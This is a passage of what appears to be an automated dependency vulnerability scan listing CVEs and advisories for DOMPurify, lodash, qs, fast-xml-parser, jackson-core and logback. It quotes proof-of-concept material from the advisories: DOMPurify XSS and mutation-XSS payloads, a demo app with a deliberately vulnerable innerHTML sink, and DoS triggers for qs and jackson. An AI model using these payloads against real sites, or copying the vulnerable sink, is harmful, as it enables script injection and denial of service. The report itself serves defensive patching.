Fixed Version: 3.3.2, 2.5.9
Target: webapps/frontend/package-lock.json
Title: DOMPurify: DOMPurify: Cross-site scripting vulnerability
Description:
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.
Reference: https://avd.aquasec.com/nvd/cve-2026-0540
CVE-2026-41238 - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.4.0
Target: webapps/frontend/package-lock.json
Title: DOMPurify: DOMPurify: Cross-Site Scripting bypass via prototype pollution
Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions 3.0.1 through 3.3.3 are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization. Version 3.4.0 fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41238
CVE-2026-41239 - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.4.0
Target: webapps/frontend/package-lock.json
Title: DOMPurify: Vue 2: DOMPurify: Cross-site scripting due to incomplete sanitization of template expressions
Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41239
CVE-2026-41240 - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.4.0
Target: webapps/frontend/package-lock.json
Title: DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization
Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41240
GHSA-39q2-94rc-95cp - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.4.0
Target: webapps/frontend/package-lock.json
Title: DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation
Description:
## Summary
In `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.
The condition:
```
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
```
When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.
## Inconsistency
This contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:
```
if (FORBID_ATTR[lcName]) { continue; }
```
For tags, FORBID should also take precedence over ADD.
## Impact
Applications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.
## Suggested Fix
Check `FORBID_TAGS` before `tagCheck`:
```
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
```
## Affected Version
v3.3.3 (commit 883ac15)
Reference: https://github.com/advisories/GHSA-39q2-94rc-95cp
GHSA-cj63-jhhr-wcxv - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.3.2
Target: webapps/frontend/package-lock.json
Title: DOMPurify USE_PROFILES prototype pollution allows event handlers
Description:
## Summary
When `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `<img onclick=...>` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.
## Impact
Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.
## Credits
Identified by Cantina’s Apex (https://www.cantina.security).
Reference: https://github.com/advisories/GHSA-cj63-jhhr-wcxv
GHSA-cjmm-f4jc-qw8r - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.3.2
Target: webapps/frontend/package-lock.json
Title: DOMPurify ADD_ATTR predicate skips URI validation
Description:
## Summary
DOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `<a href="javascript:alert(document.domain)">` and have the `javascript:` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.
## Impact
Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.
## Credits
Identified by Cantina’s Apex (https://www.cantina.security).
Reference: https://github.com/advisories/GHSA-cjmm-f4jc-qw8r
GHSA-h8r8-wccr-v5f2 - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.3.2
Target: webapps/frontend/package-lock.json
Title: DOMPurify is vulnerable to mutation-XSS via Re-Contextualization
Description:
## Description
A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).
## Vulnerability
The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).
## PoC
1. Start the PoC app:
```bash
npm install
npm start
```
2. Open `http://localhost:3001`.
3. Set `Wrapper en sink` to `xmp`.
4. Use payload:
```html
<img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
```
5. Click `Sanitize + Render`.
6. Observe:
- `Sanitized response` still contains the `</xmp>` sequence inside `alt`.
- The sink reparses to include `<img src="x" onerror="alert('expoc')">`.
- `alert('expoc')` is triggered.
7. Files:
- index.html
```html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>expoc - DOMPurify SSR PoC</title>
<style>
:root {
--bg: #f7f8fb;
--panel: #ffffff;
--line: #d8dce6;
--text: #0f172a;
--muted: #475569;
--accent: #0ea5e9;
}
* {
box-sizing: border-box;
}
body {
margin: 0;
font-family: "SF Mono", Menlo, Consolas, monospace;
color: var(--text);
background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
}
main {
max-width: 980px;
margin: 28px auto;
padding: 0 16px 20px;
}
h1 {
margin: 0 0 10px;
font-size: 1.45rem;
}
p {
margin: 0;
color: var(--muted);
}
.grid {
display: grid;
gap: 14px;
margin-top: 16px;
}
.card {
background: var(--panel);
border: 1px solid var(--line);
border-radius: 12px;
padding: 14px;
}
label {
display: block;
margin-bottom: 7px;
font-size: 0.85rem;
color: var(--muted);
}
textarea,
input,
select,
button {
width: 100%;
border: 1px solid var(--line);
border-radius: 8px;
padding: 9px 10px;
font: inherit;
background: #fff;
}
textarea {
min-height: 110px;
resize: vertical;
}
.row {
display: grid;
grid-template-columns: 1fr 230px;
gap: 12px;
}
button {
cursor: pointer;
background: var(--accent);
color: #fff;
border-color: #0284c7;
}
#sink {
min-height: 90px;
border: 1px dashed #94a3b8;
border-radius: 8px;
padding: 10px;
background: #f8fafc;
}
pre {
margin: 0;
white-space: pre-wrap;
word-break: break-word;
}
.note {
margin-top: 8px;
font-size: 0.85rem;
}
.status-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 8px;
margin-top: 10px;
}
.status-item {
border: 1px solid var(--line);
border-radius: 8px;
padding: 8px 10px;
font-size: 0.85rem;
background: #fff;
}
.status-item.vuln {
border-color: #ef4444;
background: #fef2f2;
}
.status-item.safe {
border-color: #22c55e;
background: #f0fdf4;
}
@media (max-width: 760px) {
.row {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p>
<div class="grid">
<section class="card">
<label for="payload">Payload</label>
<textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
<div class="row" style="margin-top: 10px;">
<div>
<label for="wrapper">Wrapper en sink</label>
<select id="wrapper">
<option value="div">div</option>
<option value="textarea">textarea</option>
<option value="title">title</option>
<option value="style">style</option>
<option value="script" selected>script</option>
<option value="xmp">xmp</option>
<option value="iframe">iframe</option>
<option value="noembed">noembed</option>
<option value="noframes">noframes</option>
<option value="noscript">noscript</option>
</select>
</div>
<div style="display:flex;align-items:end;">
<button id="run" type="button">Sanitize + Render</button>
</div>
</div>
<p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'</code>.</p>
<div class="status-grid">
<div class="status-item vuln">script (vulnerable)</div>
<div class="status-item vuln">xmp (vulnerable)</div>
<div class="status-item vuln">iframe (vulnerable)</div>
<div class="status-item vuln">noembed (vulnerable)</div>
<div class="status-item vuln">noframes (vulnerable)</div>
<div class="status-item vuln">noscript (vulnerable)</div>
<div class="status-item safe">div (no vulnerable)</div>
<div class="status-item safe">textarea (no vulnerable)</div>
<div class="status-item safe">title (no vulnerable)</div>
<div class="status-item safe">style (no vulnerable)</div>
</div>
</section>
<section class="card">
<label>Sanitized response</label>
<pre id="sanitized">(empty)</pre>
</section>
<section class="card">
<label>Sink</label>
<div id="sink"></div>
</section>
</div>
</main>
<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');
run.addEventListener('click', async () => {
const response = await fetch('/sanitize', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ input: payload.value })
});
const data = await response.json();
const sanitized = data.sanitized || '';
const w = wrapper.value;
sanitizedNode.textContent = sanitized;
sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
});
</script>
</body>
</html>
```
- server.js
```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const app = express();
const port = process.env.PORT || 3001;
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
app.get('/health', (_req, res) => {
res.json({ ok: true, service: 'expoc' });
});
app.post('/sanitize', (req, res) => {
const input = typeof req.body?.input === 'string' ? req.body.input : '';
const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized });
});
app.listen(port, () => {
console.log(`expoc running at http://localhost:${port}`);
});
```
- package.json
```json
{
"name": "expoc",
"version": "1.0.0",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js",
"dev": "node server.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"dompurify": "^3.3.1",
"express": "^5.2.1",
"jsdom": "^28.1.0"
}
}
```
## Evidence
- PoC
[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)
- XSS triggered
<img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" />
## Why This Happens
This is a mutation-XSS pattern caused by a parse-context mismatch:
- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.
Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.
## Remediation Guidance
1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).
Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.
Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft
Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).
Reference: https://github.com/advisories/GHSA-h8r8-wccr-v5f2
CVE-2026-33349 - fast-xml-parser
Severity: MEDIUM
Installed Version: 4.3.4
Fixed Version: 4.5.5, 5.5.7
Target: webapps/frontend/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Denial of Service via unbounded entity expansion due to incorrect configuration limit handling
Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
Reference: https://avd.aquasec.com/nvd/cve-2026-33349
CVE-2026-41650 - fast-xml-parser
Severity: MEDIUM
Installed Version: 4.3.4
Fixed Version: 5.7.0
Target: webapps/frontend/package-lock.json
Title: fast-xml-parser: fast-xml-parser: XML injection via improper escaping of comment and CDATA sequences
Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the "-->" sequence in comment content or the "]]>" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.
Reference: https://avd.aquasec.com/nvd/cve-2026-41650
CVE-2025-13465 - lodash
Severity: MEDIUM
Installed Version: 4.17.21
Fixed Version: 4.17.23
Target: webapps/frontend/package-lock.json
Title: lodash: prototype pollution in _.unset and _.omit functions
Description:
Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.
The issue permits deletion of properties but does not allow overwriting their original behavior.
This issue is patched on 4.17.23
Reference: https://avd.aquasec.com/nvd/cve-2025-13465
CVE-2026-2950 - lodash
Severity: MEDIUM
Installed Version: 4.17.21
Fixed Version: 4.18.0
Target: webapps/frontend/package-lock.json
Title: lodash: Lodash: Prototype pollution allows deletion of built-in prototype properties via array path bypass
Description:
Impact:
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches:
This issue is patched in 4.18.0.
Workarounds:
None. Upgrade to the patched version.
Reference: https://avd.aquasec.com/nvd/cve-2026-2950
CVE-2025-15284 - qs
Severity: MEDIUM
Installed Version: 6.13.0
Fixed Version: 6.14.1
Target: webapps/frontend/package-lock.json
Title: Improper Input Validation vulnerability in qs (parse modules) allows H ...
Description:
Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.
Summary
The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.
Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=valueconsumes one parameter slot. The severity has been reduced accordingly.
Details
The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).
Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.
PoC
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)
Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.
Impact
Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.
Reference: https://avd.aquasec.com/nvd/cve-2025-15284
CVE-2026-8723 - qs
Severity: MEDIUM
Installed Version: 6.13.0
Fixed Version: 6.15.2
Target: webapps/frontend/package-lock.json
Title: ### Summary `qs.stringify` throws `TypeError` when called with `arr ...
Description:
### Summary
`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).
### Details
In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:
```js
obj = utils.maybeMap(obj, encoder);
```
`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.
Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.
#### PoC
```js
const qs = require('qs');
qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });
// TypeError: Cannot read properties of null (reading 'length')
// at encode (lib/utils.js:195:13)
// at Object.maybeMap (lib/utils.js:322:37)
// at stringify (lib/stringify.js:145:25)
```
#### Fix
`lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2:
```diff
- obj = utils.maybeMap(obj, encoder);
+ obj = utils.maybeMap(obj, function (v) {
+ return v == null ? v : encoder(v);
+ });
```
`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.
### Affected versions
`>=6.11.1 <6.15.2` — fixed in v6.15.2.
The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.
### Impact
Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.
The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).
Reference: https://avd.aquasec.com/nvd/cve-2026-8723
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: webapps/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2024-12801 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.2.11
Fixed Version: 1.5.13, 1.3.15
Target: commons/pom.xml
Title: Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logba ...
Description:
Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 on the Java platform, allows an attacker to
forge requests by compromising logback configuration files in XML.
The attacks involves the modification of DOCTYPE declaration in XML configuration files.
Reference: https://avd.aquasec.com/nvd/cve-2024-12801
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.2.11
Fixed Version: 1.5.25
Target: commons/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2024-12801 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.2.11
Fixed Version: 1.5.13, 1.3.15
Target: commons/testing/pom.xml
Title: Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logba ...
Description:
Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 on the Java platform, allows an attacker to
forge requests by compromising logback configuration files in XML.
The attacks involves the modification of DOCTYPE declaration in XML configuration files.
Reference: https://avd.aquasec.com/nvd/cve-2024-12801
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.2.11
Fixed Version: 1.5.25
Target: commons/testing/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.5.18
Fixed Version: 1.5.25
Target: distro/run/core/pom.xml
